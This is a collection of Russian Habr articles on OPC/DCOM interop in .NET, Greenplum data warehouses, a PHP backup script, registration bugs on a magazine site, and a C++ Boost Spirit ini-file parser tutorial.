Что могу сказать по поводу этой библиотеки. Документации к ней нигде нет, и API построен не самым лучшим образом (например есть несколько интерфейсов и классов с одним и тем же именем, но в разных пространствах имен, жутко неудобно, постоянно нужно лезть в Object Browser и смотреть, какой именно класс нужен), однако функциональности полно — можно что угодно сделать, что только можно сделать с OPC серверами. Кстати, я для удобства прогнал сборки рефлектором и работал уже с исходниками — все проблемы декомпиляции по счастливой случайности возникли в других протоколах (OPC AE, OPC HDA) и я их просто выкинул за ненадобностью. Могу прислать солюшен, если кому интересно, пишите.
##### [Компоненты от Advasol](http://www.advosol.us/pc-1-3-opcdanet.aspx)
Платные компоненты (причем весьма дорогие). Скачал я Evaluation версию — инсталлятор, который потребовал пароль (!), ну а пароль пришел по почте. Самое полезное в этом наборе компонент — тестовые клиенты для OPC — winforms приложения, позволяющие попробовать приконнектиться и посмотреть, что есть внутри OPC сервера. Сами библиотеки я не смотрел, они обфусцированы и в них заложено ограничение по времени — полчаса, потом программу надо перезапускать. Но с тестовым клиентом возился долго, так как система у меня была 64битная, а сборка тестового клиента, как оказалось, собрана под Target Platform = AnyCPU, и в 32битной винде запускалась как 32битное приложение (и все работало как надо), а в 64битной — как 64битное. Что приводило к ошибке в коде COM-интеропа вида «CLSID is not registered». А я думал, что у меня что-то неправильно настроено и 2 дня убил на копания в secpol.msc, dcomcnfg и compmgmt.msc. По счастливой случайности догадался запустить клиент с другой тачки и все стало ясно. С помощью ILDASM и Hex-редактора определил смещение флага TargetPlatform (от начала CLR Header), добавил туда второй бит 32BITREQUIRED и все заработало. Вывод — если у вас не работает COM Interop, первым делом проверьте соответствие платформы. К слову, клиент тоже был обфусцирован (с помощью SmartAssembly), и его CLR Header был расположен в конце.
##### Библиотека [OPCDOTNET](http://www.codeproject.com/KB/COM/opcdotnet.aspx)
Библиотека от энтузиаста на codeproject.com. Ничего не могу сказать, но именно её код использовал мой предшественник, который реализовал локальное взаимодействие с OPC сервером. Судя по тому, что написано в статье, она как раз для локального взаимодействия и предназначена. Плюсы — доступные исходники, наличие тестового клиента, отсутствие зависимостей.
#### 3. Можно ли написать код без использования библиотек
В принципе, ничего сложного в этом нет, если вы имели опыт взаимодействия с COM/DCOM приложениями. А тем, кто как и я, не особо разбирается в этих технологиях, могу порекомендовать писать код, поглядывая на декомпилированные исходники библиотеки от OPC Foundation. По сути, для взаимодействия с OPC сервером достаточно всего лишь сделать интеропы на необходимые интерфейсы, получить их и дергать методы.
#### 4. Проблемы
— Тестовый клиент не подключается с ошибкой RPC сервер недоступен — проверьте доступность портов, порта номер 135 как минимум (основной порт DCOM).
— Access Denied — придется повозиться с настройкой как сервера, так и клиента. См. ссылки внизу
— CLSID is not registered — проверьте, установлен ли у вас Core Components, возможно их не хватает. Либо проверьте Target Platform сборки, осуществляющей интероп. Может быть, там AnyCPU а должно быть x86.
— CoCreateInstanceEx возвращает валидный COM объект, но при касте его к COM интерфейсам вываливается Access Denied (0x80070001). С этой проблемой я возился полдня. Эта штука происходит, когда для доступа к серверу необходимо указать юзера и пароль. Вы вызываете CoCreateInstanceEx, заполнив перед этим SERVER\_INFO, и вам приходит ссылка на объект. Однако следующие вызовы QueryInterface не сохраняют параметров доступа, которые вы указали при получении объекта, и это приводит к Access Denied. Решение — вызвать магическую функцию CoInitializeSecurity, которая установит дефолтные параметры безопасности для COM-вызовов. Код:
```
[DllImport("ole32.dll")]
private static extern int CoInitializeSecurity(IntPtr pSecDesc, int cAuthSvc,
SOLE_AUTHENTICATION_SERVICE[] asAuthSvc, IntPtr pReserved1,
uint dwAuthnLevel, uint dwImpLevel, IntPtr pAuthList,
uint dwCapabilities, IntPtr pReserved3);
public static void InitializeSecurity() {
int errorCode = CoInitializeSecurity(IntPtr.Zero, -1, null, IntPtr.Zero, 1, 2,
IntPtr.Zero, 0, IntPtr.Zero);
if (errorCode != 0) {
throw new ExternalException("CoInitializeSecurity: " +
GetSystemMessage(errorCode), errorCode);
}
}
```
При вызове этой функции может случиться ошибка RPC\_E\_TOO\_LATE. Эта ошибка возникает обычно из-за хост-процесса Visual Studio, который неявно вызывает CoInitializeSecurity при старте. Для решения проблемы достаточно отключить использование хост-процесса в настройках проекта.
По этой проблеме есть несколько ссылок с полезной информацией:
[Как чел с stackoverflow сам себе помог разобраться](http://stackoverflow.com/questions/6123301/how-does-impersonation-in-dcom-work)
[Готовые интеропы функции с ремарками](http://pinvoke.net/default.aspx/ole32.CoInitializeSecurity)
[Предложения майрософту от разработчиков по этой проблеме](http://connect.microsoft.com/VisualStudio/feedback/details/98268/no-way-to-set-com-security-level-cannot-call-coinitializesecurity-in-2-0)
#### 5. Ссылки по теме
[OPC Training Institute](http://www.opcti.com/) — сайт с множеством отлично оформленных статей, которые помогают в случае проблем. Например, как настроить DCOM, какие возможные причины ошибки RPC server is not available итд. Требует регистрации, регистрация бесплатна.
[Туториалы по настройке DCOM](http://www.opcactivex.com/Support/Tutorials/DCOM_Tutorial_-_Configuring_th/dcom_tutorial_-_configuring_th.html) — еще 1 хорошо оформленный туториал для настройки. | https://habr.com/ru/post/132780/ | null | ru | null |
# Построение DWH на основе Greenplum
DBA в Southbridge Иван Чувашов подготовил статью о построении DWH на основе Greenplum. Слово Ивану.
Привет, Хабр! Я администратор баз данных с 15-летним опытом. Сегодня хочу рассказать про Data Warehouse на основе Greenplum — как они устроены, как их поднимать и с какими проблемами и нюансами я лично сталкивался в своей практике. Статья написана на основе вебинара. Если вам удобнее, можете [посмотреть его запись на Youtube.](https://www.youtube.com/watch?v=BaOQYSWNLwI)
### Общая информация про Greenplum
Greenplum — это система, которая позволяет строить большие хранилища данных и управлять данными, расположенными в них. Среди open source-решений она самая популярная, и большинство компаний строят DWH, используя Greenplum, либо планируя внедрить её в своих проектах.
Greenplum позволяет распределить данные по нодам и разделять по ним процессы обработки. Это даёт возможность быстрее обрабатывать большое количество данных.
Представим, что у нас есть 100–200 миллиардов строк данных в таблице. И если мы хотим сделать агрегацию по всем записям в таблице, то нам потребуется много времени для получения результата. В Greenplum же, имея 16 нод, мы разобьем эти записи по нодам и выполним отдельно агрегацию на каждой ноде. Таким образом распараллелим наш запрос на 16 процессов. Один процесс равен одной ноде.
Общая структура Greenplum визуально выглядит следующим образом:
Прежде чем будем описывать рисунок, давайте введем понятия, а то запутаемся.
---
*Мастер-нода* — это нода кластера Greenplum, управляющая всеми остальными нодами.
*Резервная мастер-нода* — это реплика мастер-ноды Greenplum. Используется для создания отказоустойчивого решения. Защита от потери данных на мастер-ноде.
*Сегмент Greenplum* — экземпляр PostgreSQL,поднятый на сервере. На одном сервере может быть несколько сегментов Greenplum.
---
Есть мастер-нода, которая управляет всеми сегментами кластера Greenplum. Для каждого сегмента можно создать свою реплику на другом сервере. Такая реализация нужна на случай отказа одного из сегментов Greenplum.
Мастер-нода понимает, что один из сегментов вышел из строя, и сама промоутит реплику сегмента до лидера и подключается к ней для выполнения задач. По сути на уровне сегментов реализован высокодоступный кластер.
Однако на уровне мастер-ноды такой сценарий не реализован. Можно сделать физическую репликацию на резервную мастер-ноду, но штатного механизма, который управлял бы этим переключением, нет.
**Сейчас Greenplum работает на PostgreSQL 9.4.** Теперь разберём конфигурацию кластера и поговорим на практических примерах о некоторых особенностях Greenplum.
### Конфигурация кластера
**Кластер работает со скоростью самого медленного сервера**, поэтому нужно выбирать однородные серверы и равномерно распределять данные по ним. Бывает, что к кластеру подключают один или несколько медленных серверов, и производительность кластера Greenplum резко падает. Так как мастер-нода ждёт ответа от всех сегментов, и только потом выдаёт общий ответ.
**Greenplum требовательна к ресурсам**: процессу, памяти и чуть в меньшей степени к диску. Так как Greenplum поддерживает сжатие данных на уровне дисковой подсистемы, то чтение данных с диска, загрузка их в память, разархивирование — достаточно дорогие операции. Поэтому минимальные системные требования — это 8 ядер и 16 Гб оперативки на каждый сегмент ноды. Если на сервере несколько сегментов, то число ядер и оперативки нужно кратно увеличивать.
> Немного поделюсь личным опытом. Я с Greenplum познакомился ещё в 2020 году. На тот момент я давно администрировал PostgreSQL, но никак не мог понять, как работает Greenplum — мои ожидания не совпадали с реальностью. Первый кластер, который я сконфигурировал, упал сразу при первой же серьёзной нагрузке — пришлось всё собирать заново. Тогда я начал погружаться в тему Greenplum и понял, что я администрирую Greenplum как PostgreSQL, а это разные технологии. Главным для меня открытием было, что Greenplumn — это система с разделяемой оперативной памятью, а PostgreSQL — наоборот с общей памятью. Этим объясняются её особенности работы на сегментах.
>
>
Теперь поговорим об отдельных моментах конфигурации Greenplum.
### Колоночное хранение данных
В Greenplum можно создать обычную heap-таблицу на 10 миллионов записей. Она будет занимать почти 500 Мб. Если же создать точно такую же колоночную таблицу, то её размер будет уже 101 Мб. Из-за сжатия таблица стала почти в 5 раз меньше. Вот как это выглядит на практике:
| | |
| --- | --- |
| **Heap-таблицы** | **Column-таблицы** |
| `drop table if exists heap_table;``CREATE TABLE heap_table (a int, b text);``insert into heap_table (a,b)``select id, (random() + random()) * 1000000 from pg_catalog.generate_series(1, 10000000) id;``analyze heap_table;``select pg_size_pretty(pg_total_relation_size('heap_table'));` | `drop table if exists column_table;``CREATE TABLE column_table (a int, b text)``WITH (appendoptimized=true, orientation=column, compresstype = zstd, compresslevel = 3);``insert into column_table (a,b)``select id, (random() + random()) * 1000000 from pg_catalog.generate_series(1, 10000000) id;``analyze column_table;``select pg_size_pretty(pg_total_relation_size(column_table'));` |
Column-хранение сжатием данных
---
Получается, сжатие уменьшило размер таблицы на диске в пять раз — для больших объемов данных это серьёзный профит. Я встречал базы на 20, 30 и даже 100 Тб — представьте, что их можно сжать в 3–5 раз и оцените, сколько денег это сэкономит компании.
Greenplum поддерживает три типа сжатия: zstd, zlib и rle\_type. Я рекомендую zstd — сами разработчики говорят, что он сжимает данные лучше всего. Это особенно хорошо видно на графике, где красная линия — сжатие данных, а синяя — стоимость запроса при использовании разных типов:
Column-хранение сжатием данныхВообще стоимость выполнения запроса — достаточно аморфная величина, особенно для Greenplum. Она позволяет понять, лучше или хуже стал запрос относительно самого себя, но не связана с внешними метриками. Больше стоит смотреть на то, насколько сильно произошло сжатие данных.
Колоночная таблица хранит каждую колонку в отдельном файле. Поэтому получается, что чем больше в таблице колонок — тем больше операций к ней. Мы проводили эксперимент — создали таблицы на 10, 20, 50 и 100 колонок, добавили 20 миллионов записей в них и проанализировали, как выполняются апдейты в этих таблицах. Получилась интересная закономерность:
Зависимость времени работы операции UPDATE от количества колонок в таблицеЧем больше колонок, тем хуже выполняется запрос, это логично. И разница между максимальным и минимальным значением растет линейно, как и между средним и минимальным.
Причём чем колонок больше, тем серьёзнее разрыв между средним и максимальным выполнением. При 10 колонках разрыв увеличился всего в два раза, а при ста — уже в пять раз.
Ещё одна особенность колоночной таблицы: для неё нельзя создавать первичные ключи и уникальные индексы. Поэтому обеспечить консистентность данных в ней сложно — за данными нужно следить на уровне приложения или скриптов, которые работают с данными.
При этом важно понимать, что если использовать heap-таблицы, Greenplum не станет OLTP-системой. У меня были дискуссии о том, что раз heap-таблицы есть, мы просто переведём все наши 10-15 Тб OLTP в Greenplum и будем наслаждаться жизнью без падения скорости выполнения запросов. Но Greenplum для этого просто не предназначена — она заточена именно под аналитические запросы.
По моему опыту выполнение одного запроса занимает у Greenplum 100 мс. На эту цифру и нужно ориентироваться.
### Дистрибуция данных
В Greenplum есть три вида дистрибуции:
* DISTRIBUTED RANDOMLY — случайное распределение по сегментам Greenplum. Наши данные шардируются по сегментам, вычисляя хэш таблицы.
* DISTRIBUTED by — распределение по полям таблицы. Зная соединение между таблицами, можем распределить данные на сегментах так, чтобы соединение выполнялось на этой же ноде. Таким образом увеличивается быстродействие запросов, сокращается время на пересылку данных между сегментами.
* DISTRIBUTED REPLICATED — полная копия данных на каждом сегменте
Greenplum, актуальна для справочников. Например, при формировании отчёта, включающего в себя данные из множества небольших по размеру справочников, можно увеличить быстродействие запроса, разместив дубликаты справочников на каждом сегменте и исключив пересылку данных.
Для сравнения скоростей выполнения запросов мы провели эксперимент — взяли каждый из видов дистрибуции и два типа оптимизатора: ORCA и PostgreSQL. А потом посмотрели, как всё это работает.
#### Распределение данных случайным образом
Здесь у нас большая таблица — около миллиарда записей, фильтр по дате, соединение с таблицей с миллионом записей. Вот как это выглядит:
Оптимизатор GPORCA. Распределение данных случайным образомСамое интересное здесь — ключ распределения: добавляется поле FVF. Если бы в PostgreSQL был индекс, он бы не использовался из-за этого условия. Здесь при рандомном распределении появляется Redistribute Motion, то есть пересылка данных по сегментам. На обращение к сегментам ушло достаточно много времени — этого можно избежать, если использовать распределение по полю.
Здесь особенно интересно посмотреть за стоимостью. Наш запрос выполнился всего за 41 тысячу cost. При использовании оптимизатора PostgreSQL картина будет совсем другая:
Оптимизатор PostgreSQL. Распределение данных случайным образомЗдесь cost 17 миллионов! И при этом ORCA всего на 700 мс быстрее, чем PostgreSQL.
#### Распределение данных по ключу соединения
Теперь возьмём распределение по ключу:
Оптимизатор GPORCA. Распределение данных
по ключу соединенияЗдесь один Redistribute Motion пропал, хотя до хэша он был. То есть, запрос выполняется на сегменте, именно там происходит соединение данных и агрегация результатов.
Примерно ту же ситуацию мы видим с оптимизатором PostgreSQL:
Оптимизатор PostgreSQL. Распределение данных
по ключу соединения#### Полная копия таблицы на каждой ноде
С полной копией у нас вообще пропадает распределение: запрос выполняется в одной ноде, а время падает почти в два раза:
Оптимизатор GPORCA. Полная копия таблицы на каждой нодеС оптимизатором PostgreSQL чуть похуже — появляются разные виды кэширования, которые используются для выполнения запроса:
Оптимизатор PostgreSQL. Полная копия таблицы на каждой нодеПолучается, что оптимизатор ORCA работает чуть быстрее, чем стандартный оптимизатор PostgreSQL. Но из практики иногда бывает и наоборот. Оптимизатор ORGA работает хуже — все зависит от конкретного кейса и ситуации. Поэтому сложные запросы нужно прогонять на двух оптимизаторах.
Вообще ORCA был запущен давно, ещё в 4 версии Greenplum. Сейчас стало понятно, что оптимизатор PostgreSQL умнее, чем ORCA. И когда все-таки Greenplum перейдет на более старшую мажорную версию PostgreSQL, то ORCA, вероятнее всего, совсем пропадёт.
### Ресурсные группы
Если вы только начали использовать Greenplum, включайте ресурсные группы по умолчанию. Когда я строил мой первый кластер, который развалился, я как раз не использовал ресурсные группы. И что бы я ни делал — либо сегмент аварийно завершался, либо запрос долго выполнялся.
Ресурсные группы позволяют управлять группами пользователей и приоритизировать задачи на процессор. Этим можно более гибко управлять: например, ночью отдавать больше приоритета сервисным процессам, а днём — пользовательским, распределяя нагрузку.
Также можно выделять лимиты оперативной памяти или устанавливать очередь на выполнение задач.
### Оптимизация
Оптимизатор ORCA часто не подхватывает индексы, ему гораздо проще сделать Seq Scan таблицы, чем воспользоваться индексом. Лучше всего ORGA подхватывает bitmap индексы, а вот с остальными как повезёт — я до сих пор сам не понимаю, от чего это зависит.
При добавлении новых индексов я рекомендую делать analyze, потому что и ORCA, и PostgreSQL могут не увидеть новый индекс и не будут его использовать в запросах. Вообще это ещё одна особенность Greenplum — у неё и analyze, и vacuum по умолчанию отключены.
В Greenplum есть свой тип индексов — bitmap. Он очень производительный, когда поле имеет распределение от 10 до 100 тысяч уникальных значений. Но если порог значений больше или меньше, его производительность деградирует.
**Важное замечание:** если повысить реплику до лидера, то индекс может побиться и перестать быть валидным — нужно его пересоздавать.
### Нагрузочное тестирование
Чтобы перейти к нагрузочному тестированию, нужно ввести три термина:
* Справочники — таблицы, которые содержат данные об объектах и связях между ними.
* Небольшие запросы — могут возвращать до нескольких сот тысяч данных.
* Сложные запросы — аналитические запросы по огромным таблицам с миллиардами строк.
Для нагрузочного тестирования мы взяли 4 виртуальных сервера по 16 ядер и 32 Гб оперативной памяти. Используя JMeter, написали профиль нагрузочного тестирования — запросы выполняются в 10 потоков на кластере Greenplum в течение 30 минут. Теперь будем наращивать на них сегменты и смотреть, насколько изменилось время выполнения одного запроса.
Сначала протестируем справочники:
Нагрузочное тестирование. Справочники. Конфигурация: 4 виртуальных сервера: 16 ядер, 32 ГБЗдесь видно, что первый скачок у нас происходит при появлении второго сегмента — резко возрастает максимальное значение. А дальше оно практически не меняется и находится в пределах погрешности, в районе двух секунд. Такое поведение свойственно как раз OLAP-системам. А среднее время выполнения при этом стабильно остаётся в районе 30 мс.
Но когда сегментов уже 8 или 16, мы видим деградацию среднего времени практически в четыре раза.
Важно понимать, что даже среднее время тут в миллисекундах, поэтому все обрабатывается ещё довольно быстро. Интереснее, если взять не справочники, а небольшие запросы:
Нагрузочное тестирование. Небольшие запросы. Конфигурация: 4 виртуальных сервера: 16 ядер, 32 ГБЗдесь сильно заметно, что на одной сегменте запрос выполнялся 600 мс, а при расширении кластера дошёл до 280 мс. Но на 8 и 16 сегментах мы снова видим некоторую деградацию, хотя максимальное время практически не изменилось.
Сложные запросы дают такую картину:
Нагрузочное тестирование. Сложные запросы. Конфигурация: 4 виртуальных сервера: 16 ядер, 32 ГБНа одной сегменте время выполнение совершенно неимоверное. Но с каждым шагом по добавлению сегментов оно уменьшается, даже когда их стало 12. Плюс видно, что минимальное, среднее и максимальное время выполнения запросов друг от друга практически не отличаются. Это связано с особенностью эксперимента.
Выводы после тестирования можно сделать такие:
* При запросах на справочники количество сегментов не играет серьезной роли.
* Простые запросы хорошо распараллеливаются на нодах, но только до определённого предела.
* Сложные запросы распараллеливаются еще лучше, и предел у них есть где-то сильно далеко — мы до него не дошли.
### Отказоустойчивость
Посмотрим, как ведёт себя кластер Greenplum, когда один сегмент или вообще сервер выходит из строя. Сначала справочники:
Отказоустойчивость Greenplum. СправочникиЗдесь сразу видна просадка производительности примерно в два раза, но, учитывая, что время всё равно минимальное, это не так важно.
С небольшими запросами деградация чуть меньше:
Отказоустойчивость Greenplum. Небольшие запросыПолучается падение производительности примерно на 20%.
А вот со сложными запросами просадка весьма существенная:
Отказоустойчивость Greenplum. Сложные запросыИ это особенно заметно из-за того, что счёт здесь уже идёт на секунды.
Эти цифры помогут нам предположить, что именно будет происходить, если выйдет сегмент из кластера.
### Миграция данных
В самом простом варианте для миграции мы можем обращаться к мастер-ноде, пытаться загрузить туда данные, а нода уже распределит всё по сегментам. Но этот вариант плохо подходит, когда нам нужно загрузить большие объемы данных.
Поэтому лучше загружать данные сразу на сегменты. Первый способ — обращаться к внешним таблицам и загружать данные с помощью Foreign data wrapper (postgres\_fdw).
Другой вариант — обращаться к самим файлам. То есть использовать файловое хранилище на ноде и загружать файлы оттуда на сегменты. Это делается просто с помощью file://
Еще один вариант — пользоваться утилитой Greenplum для загрузки данных на сегменты. Это утилита (gpfdist|gpfdists)://, и она даёт больше возможностей для манипуляций и управления данными.
Еще один вариант — pxf://. Этот протокол обращается к системам хранилищ объектов (Azure, Google Cloud Storage, Minio, S3), внешним системам Hadoop (HDFS, Hive, HBase) и базам данных SQL с помощью Greenplum Platform Extension Framework (PXF).
И последний — s3://, он обращается к файлам хранилища s3, например, Amazon.
### Резервное копирование
Это, пожалуй, самая серьёзная боль Greenplum. Есть стандартные инструменты вроде dump или restore, которые создают логические копии данных — аналогично утилите pg\_dump в PostgreSQL. Но нужно понимать, что логическая копия — это всегда очень долго. А системы резервного копирования на основе чего-нибудь физического просто нет.
**Замечание:** недавнее обновление wal-g позволяет делать резервные копии с кластера Greenplum.
Мы можем сделать физическую резервную копию с сегмента, но никто не обеспечит нам консистентность — пока мы копировали, данные могли поменяться. gpbackup и gprestore можно подключать к s3, но восстановление — всё равно мучительный процесс.
### Главное, что нужно помнить о Greenplum
1. Система Greenplum достаточно требовательна к компьютерным ресурсам (процессор, память, диски).
2. Greenplum является СУБД с разделяемой памятью, поэтому нужно
использовать ресурсные группы.
3. Гонять запросы нужно на двух оптимизаторах: ORCA и PostgreSQL.
4. Важно использовать column хранение данных.
5. Правильно выбирать распределение данных по сегментам кластера Greenplum.
6. Автоматический failover работает штатно на сегментах. Нет автоматического failover на мастере. Нужно использовать сторонние инструменты.
7. Резервное копирование реализовано через логическую копию. | https://habr.com/ru/post/668490/ | null | ru | null |
# Резервное копирование файлов и баз данных
Возможности скрипта:
— бэкапить директории и базы данных
— загрузка архивов в локальную папку или на фтп
— информирование по email о удачном/не удачном завершении
##### Backup директории
Создать бэкап директории просто. Достаточно просто указать пусть (path) к папке, которую хотим заархивировать и дать имя бэкапу (name). Опционально можно указать папки и файлы, которые хотим исключить (exclude).
Количество директорий для которых нужно создать бэкап может быть несколько
##### Backup БД
Не менее просто создать бэкап базы данных. Для этого достаточно указать имя базы данных (db\_name). Опционально можно исключить некоторые таблицы (к примеру тестовые) или импортировать только структуру таблиц (к примеру таблица логов). Также как и для директорий, количество баз данных может быть несколько
##### Загрузка бэкапа
Созданный быкап можно сохранить либо в локальную папку, либо залить по фтп. Здесь можно также указать количество копий которые вы хотите хранить, то есть после загрузки нового архива старые будут удаляться
##### Оповещении о завершении бэкапа
После того как бэкап будет создан и сохранен в указанном месте можно настроить email оповещение. При удачном завершении (on\_success) будет браться шаблон письма, который вы укажете (template), парсится в него вся статистика и слаться на указанный вами email адрес. Также можно настроить отправку письма при возникновении каких либо ошибок (on\_failed)
##### Использование
Пример конфига:
```
array(
// common options
'common' => array(
'tar_cmd' => '/bin/tar',
'gzip_cmd' => '/bin/gzip',
'backup_filename_prefix' => $prefix,
'backup_filename' => 'backupname',
),
// backup options
'backup' => array(
// directory backup
'directory' => array(
'tar_cmd' => '/bin/tar',
'items' => array(
array(
'name' => 'home_user1',
'path' => '/home/user1',
'exclude' => 'tmp,logs,cache',
),
array(
'name' => 'home_user2',
'path' => '/home/user2',
'exclude' => 'tmp',
)
)
),
// database backup
'mysql' => array(
'mysqldump_cmd' => '/usr/bin/mysqldump',
'user' => 'root',
'password' => 'xxx',
'host' => 'localhost',
'items' => array(
array(
'db_name' => 'xxx',
'ignore_tables' => 'test',
'tables_structure' => 'logs,sessions',
),
array(
'db_name' => 'xxx2',
),
),
),
),
// upload backup options
'upload' => array(
// upload to local directoey
'directory' => array(
'max_count' => 3,
'path' => '/backups',
),
// upload to ftp
'ftp' => array(
'max_count' => 3,
'path' => '/backups',
'host' => 'xxx',
'user' => 'xxx',
'password' => 'xxx'
),
),
// notification options
'nofification' => array(
// email notification
'email' => array(
'on_success' => array(
'to' => 'xxx@xxx.xxx',
'subject' => 'Success backup',
'template' => realpath(__DIR__ . '/../Command/Notification/email_templates/success.php')
),
'on_failed' => array(
'to' => 'xxx@xxx.xxx',
'subject' => 'Failed backup',
'template' => realpath(__DIR__ . '/../Command/Notification/email_templates/failed.php')
),
),
),
```
Пример использования:
```
$backupTask = new BackupTask\BackupTask($config);
$backupTask->run();
```
Пример крона:
```
@daily /usr/bin/php /path/to/backup.php daily
@weekly /usr/bin/php /path/to/backup.php weekly
@monthly /usr/bin/php /path/to/backup.php monthly
```
Исходники [тут](https://github.com/AlexeyFreelancer/BackupTask) | https://habr.com/ru/post/141404/ | null | ru | null |
# Xakep.ru — ищем баги лишь в чужом глазу?
Давно заметил, что **на сайте** [www.xakep.ru](http://www.xakep.ru/) бесполезно пытаться зарегистрироваться… Сегодня снова попробовал и, как обычно — безрезультатно…
При любой попытке регистрации почтового ящика вылезает «красноречивое» сообщение, «однозначно» указывающее на причину ошибки:
`Ошибка доАБвления пользователя`
При попытке зарегистрироваться **на форуме**, на мыло так и не отправляется сообщение о проверки подлинности пароля… Думал, ну мало ли, может так и задумано (хотя странно), однако зайти под созданным логином и паролем так же не получается. На этом праздник не заканчивается — если кликать на «забыл пароль», то при попытке отправить на мыло пароль, вылезает такая «хакерская» мессаджь:
`The page cannot be displayed
Explanation: There is a problem with the page you are trying to reach and it cannot be displayed.
Try the following:
Refresh page: Search for the page again by clicking the Refresh button. The timeout may have occurred due to Internet congestion.
Check spelling: Check that you typed the Web page address correctly. The address may have been mistyped.
Access from a link: If there is a link to the page you are looking for, try accessing the page from that link.
Technical Information (for support personnel)
Error Code: 408. The operation timed out. The remote server did not respond within the set time allowed. The server might be unavailable at this time. Try again later or contact the server administrator. (12002)`
Перерыл весь сайт [www.xakep.ru](http://www.xakep.ru/), но так и не нашел контактной информации, с кем можно было бы связаться на эту тему.
Вообще, слово «хакер», как мне кажется, подразумевает, что сайт журнала должен быть идеальным, а не напичкан подобного рода дешёвыми багами, однако — факты к сожалению показывают обратное… | https://habr.com/ru/post/143006/ | null | ru | null |
# Создаём парсер для ini-файлов на C++
В данной статье я расскажу как написать свой парсер ini-файлов на C++. За основу возьмём контекстно-свободную грамматику, построенную [в моей предыдущей статье](http://avsmal.habrahabr.ru/blog/50973/). Для построения парсера будет использоваться библиотека [Boost Spirit](http://spirit.sourceforge.net/), которая позволяет строить свои собственные парсеры комбинируя готовые *примитивные* парсеры при помощи *парсерных комбинаторов*.
**Важно:** в данной статье предполагается, что читатель знаком с основами C++ (в том числе будет активно использоваться STL). Если вы не очень в себе уверены, то я советую сначала прочитать пару статей для новичков по С++ и по STL.
Грамматика
----------
Для начала вспомним какую грамматику для ini-фалов мы построили в предыдущей статье:
`inidata = spaces, {section} .
section = "[", ident, "]", stringSpaces, "\n", {entry} .
entry = ident, stringSpaces, "=", stringSpaces, value, "\n", spaces .
ident = identChar, {identChar} .
identChar = letter | digit | "_" | "." | "," | ":" | "(" | ")" | "{" | "}" | "-" | "#" | "@" | "&" | "*" | "|" .
value = {not "\n"} .
stringSpaces = {" " | "\t"} .
spaces = {" " | "\t" | "\n" | "\r"} .`
Её описание нам скоро понадобится.
C++ и Boost Spirit
------------------
Начните с установки boost (можно взять на официальном сайте или поискать готовые пакеты для вашей OS). Собирать boost не требуется, так как весь Spirit живёт в хедерах. Процесс установки для разных систем может быть различным, поэтому я не буду его здесь описывать.
Я постараюсь подробно описать процесс создания парсера на С++. При этом я не буду особенно думать о производительности, так как это не является целью данной статьи.
Начнём с подключения необходимых хедеров.
`1 **#include**
2 **#include**
3 **#include**
4 **#include**
5 **#include**
6 **#include**
7
8 **#include**
9 **#include**
10
11 **using** **namespace** std;
12 **using** **namespace** boost::spirit;`
Кроме хедера самого Spirit я включил библиотеку строчных алгоритмов из boost-а (буду использовать функцию trim). Конструкция using namespace не всегда является хорошей практикой, но здесь для краткости я себе это позволю.
Определим типы данных: запись — это пара «ключ — значение», секция — это пара «ключ — список записей», все данные ini-файла — это список секций.
`14 **typedef** pair Entry;
15 **typedef** list Entries;
16 **typedef** pair Section;
17 **typedef** list IniData;`
Кроме типов данных нам потребуются обработчики событий, которые будут вызываться в тот момент, когда парсер разберёт очередной нетерминал.
`19 **struct** add_section
20 {
21 add_section( IniData & data ) : data_(data) {}
22
23 void **operator**()(char const* p, char const* q) const
24 {
25 string s(p,q);
26 boost::algorithm::trim(s);
27 data_.push_back( Section( s, Entries() ) );
28 }
29
30 IniData & data_;
31 };
32
33 **struct** add_key
34 {
35 add_key( IniData & data ) : data_(data) {}
36
37 void **operator**()(char const* p, char const* q) const
38 {
39 string s(p,q);
40 boost::algorithm::trim(s);
41 data_.back().second.push_back( Entry( s, string() ) );
42 }
43
44 IniData & data_;
45 };
46
47 **struct** add_value
48 {
49 add_value( IniData & data ) : data_(data) {}
50
51 void **operator**()(char const* p, char const* q) const
52 {
53 data_.back().second.back().second.assign(p, q);
54 }
55
56 IniData & data_;
57 };`
Обработчики событий представляют собой функторы, которые принимают на вход кусок строки (через два указателя).
Функтор add\_section будет вызываться в тот момент, когда парсер распознает очередную секцию. В качестве параметра add\_section получит имя этой секции. Функтор add\_key будет вызван в тот момент, когда парсер распознает имя нового параметра. Функтор add\_value будет вызван в тот момент, когда парсер распознает значение параметра. При помощи этих функторов организуется последовательное заполнение IniData: сначала добавляется пустая секция (add\_section), потом в эту секцию кладется Entry с незаполненным значением (add\_key), а потом это значение заполняется (add\_value).
Теперь будем переносить грамматику из нотации Бэкуса-Наура в C++. Для этого создаётся специальный класс inidata\_parser.
`59 **struct** inidata_parser : **public** grammar
60 {
61 inidata\_parser(IniData & data) : data\_(data) {}
62
63 **template** <**typename** ScannerT>
64 **struct** definition
65 {
66 rule inidata, section, entry, ident, value, stringSpaces, spaces;
67
68 rule const& start() const { **return** inidata; }
69
70 definition(inidata\_parser const& self)
71 {
72 inidata = \*section;
73
74 section = ch\_p('[')
75 >> ident[add\_section(self.data\_)]
76 >> ch\_p(']')
77 >> stringSpaces
78 >> ch\_p('\n')
79 >> spaces
80 >> \*(entry);
81
82 entry = ident[add\_key(self.data\_)]
83 >> stringSpaces
84 >> ch\_p('=')
85 >> stringSpaces
86 >> value[add\_value(self.data\_)]
87 >> spaces;
88
89
90 ident = +(alnum\_p | chset<>("-\_.,:(){}#@&\*|") );
91
92 value = \*(~ch\_p('\n'));
93
94 stringSpaces = \*blank\_p;
95
96 spaces = \*space\_p;
97 }
98
99 };
100
101 IniData & data\_;
102 };`
Этот класс инкапсулирует в себе всю грамматику. Разберёмся поподробнее. В строке 59 мы видим, что парсер наследуется от шаблонного класса grammar, используя crtp, — это необходимo для правильной работы Spirit-а. Парсер принимает в конструкторе ссылку на незаполненную IniData и сохраняет её (61). Внутри парсера нужно определить шаблонную структуру definition (63-64). У структуры definition есть члены данных типа rule — это парсеры для каждого из нетерминалов нашей грамматики в форме Бэкуса-Наура (66). Необходимо определить функцию-член start, которая будет возвращать ссылку на главный нетерминал — inidata (68).
